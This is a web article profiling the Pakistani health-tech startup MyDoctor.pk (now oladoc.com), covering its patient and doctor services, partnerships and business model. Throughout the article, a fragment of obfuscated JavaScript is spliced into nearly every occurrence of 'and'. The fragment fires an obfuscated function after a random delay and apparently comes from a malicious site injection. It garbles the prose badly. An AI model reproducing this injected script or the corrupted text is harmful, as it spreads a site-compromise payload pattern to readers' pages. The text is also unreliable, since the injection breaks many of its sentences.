This online platform is on its way to become a ‘go-to health care service’ in Pakistan

After being in the top 15 initiatives at Startup Istanbul in 2016, “ MyDoctor.pk (now oladoc.com)” is all set to become a one-stop shop for patients andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and practitioners. They are expandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}anding their services to automate the major part of healthcare eco-system. In addition to the doctor appointment andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and patient management services, it now allows users to get pharmaceutical products, care services andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and lab testing services delivered to their home. At Perspective.pk, we downloaded the app andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and inquired the founders about why it’s not just another health app.

Addressing the challenges of ICT4D andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Healthcare Accessibility

“Good Health andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Well Being” is at the third spot in the list of United Nations Global Goals for Sustainable Development 2015-2030. Use of Information andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Communication for Technologies for Development (ICT4D) is a hot topic in achieving sustainable development goals. Following the trend, many health-tech startups have shown up to address the issues of Healthcare in Pakistan.

While some of them (such as, FindADoctor, MARHAM, MyTabeeb etc.) connect patients to doctors, others facilitate order andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and delivery of pharmaceuticals (such as Dawaai.pk, sehat.com.pk etc.)

For a patient, hassle free accessibility of reliable health care service is a great challenge. Similarly for Doctors, efficient practice management andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and record keeping is a tough task. “MyDoctor.pk” aims to provide all the services that are essential part of a healthcare lifecycle from the perspective of patient as well as doctor.

The App offerings

We did some research andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and inquired the founders about features of the app andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and here are some interesting ones that may allow patients to access more than just appointments:

• Search Doctors & book appointments (13,000+ PMDC Verified Doctors)
• Maintain their complete medical history
• Buy Medicines & get them home delivered within 2 Hours. For now, this service is only available in Lahore & will soon be expandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}anded to other cities of Pakistan.
• Consult a Doctor for FREE via MyDoctor.pk app
• Order Lab tests andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and get test samples collected from home within 1 hour. This service has been launched nationwide in collaboration with Chughtai Labs

 

So it doesn’t end at the consumer service set there’s more to it andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and that makes this a great solution for a great problem. Managing health care data andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and patient record in Pakistan is still a huge problem andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and that means apps like these have a huge chance to scale. For Doctors it offers comprehensive Practice Management Services including:

• Appointment booking andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and notifications
• Billing
• Patient data management
• Electronic Medical Records management

We also can not ignore the current billing system of doctors here. There are a lot of clinics that still deal in cash andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and do not maintain patient data. A business that desires to solve problems has a huge chance to scale andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the problems here are multipronged.

Some doctors still operate in the grey area andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and they may take time adapting to such solutions, but at least the solution exists. The business documentation will actually help generate some interesting data but we have yet to see if it goes that far.

Healthcare systems globally have a huge impact on the local socio-political economy andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and all this impact is incomplete without the data andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and how it’s utilized. Apps like these may partner up with health funds to monitor the health issues prevailing in our society, that’s the kind of data science the world is talking about andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and if you haven’t missed it, it’s the next most valuable variable.

Talking to Perspective, the co-founder of “MyDoctor.pk (now oladoc.com)”, Abid Zuberi, commented on his company’s goal;

“We will continue to evolve our proposition with the aim of resolving all challenges faced by a consumer in healthcare journey. Our mission is to become “the go-to portal” for all stakeholders of healthcare eco-system, specially patients andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and doctors.”

Launched last year, the platform has seen steady growth in a category that did not exist previously in Pakistan. Speaking on the market feedback andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and response, the CEO Arif Zuberi said,

“The market feedback has improved significantly in the last 6 months as more doctors are getting on board now. These doctors are open to the idea of ‘’automating’’ their practices andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and clinics. On the contrary, from patients perspective, the demandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and for services such as above has always been there andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and it’s just a matter of tapping into the segment’

Business Model andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and Competitor Analysis

While there may be a lot of health apps in the market, it’s still a challenge for them to monetize the services.

MyDoctor.pk offers a “Freemium” model andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and ensures that patients use the platform for free.

However, the Doctors are charged a minimal subscription fee every month to use the services offered. Currently, the platform has more than 300 doctors that are actively using the services.

The Online Doctor consultation facility is available for free in collaboration with “Aman Foundation”. The founders also shared about partnering with “Servaid Pharmacy” for the delivery of pharmaceutical products andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and with “Chughtai Labs” for home lab testing services.

We hope these partnerships are sustainable andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and allow the founders to become unique in service provision. There are a few other health apps in process of development andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and would soon join the league but the value proposition will eventually define the scope of growth.

So to give you an example, “AugmentCare” can be considered as a competitor of “MyDoctor.pk” in terms of services to a great extent. However, “AugmentCare” is in its launching phase with a small pilot been built for Lahore University of Management Sciences users. At present “ MyDoctor.pk ” is one step ahead in terms of the “product maturity” compared to the likes of “AugmentCare”. It is also unique from its competitors in a few more aspects:

• They are supported by Virtual Force a global technology accelerator
(already working with healthcare solutions globally)
• They have (Pakistan Medical & Dental Council) PMDC verified doctors, guarantying authenticity andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reliability to an extent
• Patients can review andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and recommend doctors based on experiences
• Doctors can get recognition based on patient recommendations
• Patients can access profiles of all kinds of practitioners

MyDoctor.pk ” possesses all those features that can provide a trustworthy andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and reliable experience to the patients andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the doctors.

Similarly the likes of “AugmentCare” will have their own unique features. In the end what matters is the quality of service andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and user satisfaction.

These high-tech health startups have initiated the new wave of healthcare advocacy but its early to say if they would be able to make a meaningful dent in the healthcare space in Pakistan. However, one thing’s for sure; a country with a population of over 200 Million andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and a GDP spend of only 2% into healthcare, may find these interventions as the only hope to improve the system. Interventions in the healthcare system have a fair chance of scaling as the private sector engagement increases however what worries us (result of most dialogues generalised) is that too many people are using similar approaches.

Technology andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and data can together change the future of healthcare services but its not just the job of college graduates or some technology experts. What we like in this model is the experience of the co-founders, the seriousness that’s beyond business andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and the exposure of serving global brandom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}ands.

Healthcare in Pakistan needs more than one group of service providers to test interventions, the next step maybe involving doctors in more than advisory capacity; as angel investors or venture capitalists – Oh Well, Why Not !?

Information Source:
Team @ MyDoctor.pk

About the Contributor:
Murtaza Ali Baig is studying Computer Science at LUMS. He is a young researcher interested in technology startups andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}andom()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}and innovation.


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